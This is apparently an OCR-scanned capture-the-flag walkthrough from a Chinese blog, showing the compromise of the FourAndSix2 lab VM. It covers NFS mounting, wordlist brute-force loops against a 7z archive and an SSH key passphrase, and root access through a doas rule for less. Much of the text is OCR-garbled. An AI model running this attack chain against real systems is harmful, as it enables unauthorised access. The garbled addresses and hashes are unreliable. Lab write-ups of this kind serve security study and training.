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netdiscover -i etho -r 10.0.3.1/24

Currently scanning: Finished! | Screen View: Unique Hosts

5 Captured ARP Req/Rep packets, from 5 hosts. Total size: 300
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:~# nmap -sV -p- 10.0.3.142
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-13 ©3:43 EDT
Nmap scan report for 10.9.3.142
Host is up (@.e8836s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9 (protocol 2.80)

111/tcp open rpcbind 2 (RPC #100000)

613/tcp open mountd 1-3 (RPC #100005)
2049/tcp open nfs 2-3 (RPC #100093)
MAC Address: ©0:0C:29:7D:3A:3@ (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 732.34 seconds https://blog.csdn.netliajiajiang_
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rpcinfo -p 10.0.3.142

# rpcinfo -p 10.0.3.142
program vers proto port service
100000 2 tcp 111 portmapper
100000 udp 111 portmapper
100005 udp 916 mountd
100005 udp 916 mountd
100005 tcp 613 mountd
100005 tcp 613 mountd
100003 udp 2049 nfs
100003 udp 2049 nfs
100003 tcp 2049 nfs
100003 tCPMMEﬂgﬂ%mmHggmmMHmm_
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showmount -e 10.0.3.142

# showmount -e 106.0.3.142

Export list for 10.0.3.142:
/home/user/storage (everyone)
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mkdir nfs
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mount -t nfs 10.0.3.142:/hone/user/storage nfs



# mount -t nfs 10.0.3.142:/home/user/storage nfs
: # 1s
id_rsa_crack.sh

# cd nfs/
# 1s
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7z e backup.7z

# 7z e backup.7z

7-Zip [64] 16.82 : Copyright (c) 1999-2816 Igor Pavlov : 2016-85-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utfl6=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i5-76@0© CPU @ 3.50GHz (9@6E9),ASM,AES-NI)

Scanning the drive for archives:
1 file, 62111 bytes (61 KiB)

Extracting archive: backup.7z
Path = backup.7z

Type = 7z

Physical Size = 62111

Headers Size = 303

Method = LZMA2:16 7zAES

Solid = +

Blocks

Enter password (will not be echoed)ﬂ
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cat $2 | while read line;do if 7z e $1 -p"$line" 1>/dev/null 2>/dev/null;then echo "FOUND PASSWORD:"$line;b

# cat 7z-crack.sh

cat $2 | while read line;do if 7z e $1 -p"$line" 1>/dev/null 2>/dev/null;then echo "FOUND PASSWORD:"$line;break;fi;done
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chmod 755 7z-crack.sh

PAT

./7z-crack.sh backup.7z /usr/share/wordlists/rockyou.txt

# ./7z-crack.sh backup.7z /usr/share/wordlists/rockyou.txt

FOUND PASSWORD:chocolate

fif i J5 45 2R & chocolate

fife I I 4



7z-crack.sh

id_rsa 1id_rsa.pub
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# cat id_rsa.pub
ssh-rsa AAAABSN zaCly c2EAAAADAQABAAABAQDC1NemaX//nOuglPAWyQ1aDMgFAS8zrIh++hNeMGCo+TImSUxVUNwcEvhZ8apKZHOX@Ht+M1IHLYdkbwSinmCRmOkm2JIbMYASGNBG3FTNWOAbhd7d12GPG7NU
D+zhaDFyRk5gTgmuFumECDAECxzeE8r9jBwfX73cETemexWKnGqLey@T56VypNrjvueFPmmrilCIyPcXtoLNQDbbdaWwIPhFOgKGr rinTEZo@NNU11MANKk i0oDXLFhXOIOXRIXWtDtc61lcpnnIHtKeO+9wl2q73
eUQB@OKLSs9/iRwVEb+ks1vHaaQ4TR8IaufulgmICuE4+v7HdsQHsSImIbPKX6HANN user@fourandsix2

ssh -i id_rsa user@10.0.3.142

: # ssh -i id_rsa user@l19.0.3.142
Enter passphrase for key 'id_rsa’
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cat /usr/share/wordlists/rockyou.txt | while read line;do if ssh-keygen -p -P $line -N $line -f id_rsa 1>/d

# cat /usr/share/wordlists/rockyou.txt | while read line;do i
f ssh- keygen -p -P $line -N $line -f id_rsa 1>/dev/null 2>/dev/null;then
echo "PASSWORD FOUND : "$line;break;fi;done;
PASSWORD FOUND : 12345678
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: # ssh -i id_rsa user@l0.0.3.142
Enter passphrase for key 'id_rsa’
Last login: Mon Oct 29 13:53:51 2018 from 192.168.1.114
OpenBSD 6.4 (GENERIC) #349: Thu Oct 11 13:25:13 MDT 2018

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(l) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code. With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

fourandsix2$ https://blog.csdn.net/Jiajiajiang_
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fourandsix2$ id
uid=1000(user) gid=1000(user) groups=1000(user), ©(wheel)

fourandsix2$ uname -a
OpenBSD fourandsix2.localdomain 6.4 GENERIC#349 amdé4
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find / -perm -u=s -type f 2>/dev/null

fourandsix2$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/chfn

/usr/bin/chpass

/usr/bin/chsh

/usr/bin/doas

/usr/bin/lpr

/usr/bin/lprm

/usr/bin/passwd

/usr/bin/su

/usr/libexec/lockspool

/usr/libexec/ssh-keysign

/usr/sbin/authpf

/usr/sbin/authpf-noip

/usr/sbin/pppd

/usr/sbin/traceroute

/usr/sbin/traceroute6

/sbin/ping

/sbin/pingé

!f sbin !f shutdown https://blog.csdn.net'Jiajiajiang_
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% [ doas, doasi&OpenBSD 5.8 FJ AL, kA Esudo
doasffic & /47 & : /etc/doas.conf

fourandsix2$ cat /etc/doas.conf

permit nopass keepenv user as root cmd /usr/bin/less args /var/log/authlog
permit nopass keepenv root as root

AR, ETH P RS Dlrooth f 18 F less i & £ & /var/log/authlog SC 14, H AN 75 22 4 5 H P 265 LA
N root#fi

FATE ] LS L less R FEAL
BE HE

doas /usr/bin/less /var/log/authlog



2020-04-14T11:00:00.943Z fourandsix2 newsyslog[88380]: logfile turned over
Apr 14 16:35:02 fourandsix2 sshd[15893]: Connection closed by authenticating user user 10.0.3.141 port 36486 [preauth]
Apr 14 16:36:40 fourandsix2 sshd[44653]: Accepted publickey for user from 10.0.3.141 port 36488 ssh2: RSA SHA256:BP129YrxUBdBmLaG6K58UG1ROwWruEBQE8VGOtrbX18Y
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2020-04-14T11:00:00.943Z fourandsix2 newsyslog[88388]: logfile turned over
Apr 14 16:35:02 fourandsix2 sshd[15893]: Connection closed by authenticatin
g user user 10.0.3.141 port 36486 [preauth]

Apr 14 16:36:40 fourandsix2 sshd[44653]: Accepted publickey for user from 1
0.0.3.141 port 36488 ssh2: RSA SHA256:BP129YrxUBdBmLaG6K58UGLR@wruEBQESVGOL
rbx18Y

Apr 14 16:55:06 fourandsix2 sshd[5794@]: Accepted publickey for user from 1
0.0.3.141 port 36498 ssh2: RSA SHA256:BP129YrxUBdBmLaG6K58UGLR@wruEBQESVGOL
rbx18Y
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fourandsix2# id
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), &(tty), 5(operat

or), 20(staff), 31(guest)
fourandsix2# |J
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fourandsix2# cd /root

fourandsix2# 1s

.Xdefaults .cvsrc .login .5sh
.cshrc .forward .profile flag.txt
fourandsix2# cat flag.txt

Nice you hacked all the passwords!

Not all tools worked well. But with some command magic ... :

cat /usr/share/wordlists/rockyou.txt|while read line; do 7z e backup.7z -p"
$line" -oout; if grep -iRl SSH; then echo $line; break;fi;done

cat /usr/share/wordlists/rockyou.txt|while read line; do if ssh-keygen -p -
P "$line" -N password -f id_rsa; then echo $line; break;fi;done

Here 1is the flag:

acd043bc3103ed3ddo2eee99ds5boffa2 >sdn.netiJiajiajiang_
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